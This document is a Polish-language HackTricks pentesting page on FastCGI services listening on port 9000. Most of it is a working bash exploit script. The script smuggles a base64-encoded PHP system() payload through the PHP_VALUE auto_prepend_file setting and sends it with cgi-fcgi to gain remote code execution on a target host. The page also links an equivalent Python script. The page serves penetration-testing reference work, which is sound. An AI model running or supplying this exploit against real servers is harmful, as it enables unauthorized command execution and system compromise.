hacktricks/src/network-services-pentesting/9000-pentesting-fastcgi.md

38 lines
1.2 KiB
Markdown

{{#include ../banners/hacktricks-training.md}}
# Podstawowe informacje
Jeśli chcesz **dowiedzieć się, czym jest FastCGI**, sprawdź następującą stronę:
{{#ref}}
pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md
{{#endref}}
Domyślnie **FastCGI** działa na **porcie** **9000** i nie jest rozpoznawany przez nmap. **Zwykle** FastCGI nasłuchuje tylko na **localhost**.
# RCE
Jest dość łatwo sprawić, by FastCGI wykonywał dowolny kod:
```bash
#!/bin/bash
PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path
HOST=$1
B64=$(echo "$PAYLOAD"|base64)
for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT
done
```
lub możesz również użyć następującego skryptu python: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
{{#include ../banners/hacktricks-training.md}}